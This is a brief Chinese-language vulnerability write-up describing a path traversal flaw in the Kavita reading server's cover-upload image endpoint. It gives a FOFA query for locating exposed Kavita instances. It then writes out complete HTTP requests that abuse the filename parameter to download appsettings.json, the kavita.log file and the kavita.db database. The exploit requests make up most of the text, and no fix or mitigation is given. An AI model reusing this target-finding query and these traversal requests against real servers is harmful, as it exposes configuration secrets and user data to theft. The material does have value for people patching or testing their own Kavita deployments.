Kavita cover-upload存在敏感信息泄露漏洞
一、漏洞简介
Kavita 是一个快速、功能丰富的跨平台阅读服务器。以漫画为重点,目标是成为满足您所有阅读需求的完整解决方案。Kavita 存在安全漏洞,攻击者可利用filename参数读取下载appsettings.json、kavita.db、kavita.log等敏感信息。
二、影响版本
- Kavita
三、资产测绘
- fofa
title="Kavita"
- 特征
四、漏洞复现
GET /api/image/cover-upload?filename=../appsettings.json HTTP/2
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
GET /api/image/cover-upload?filename=../../config//logs/kavita.log HTTP/2
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
/api/image/cover-upload?filename=../../config/kavita.db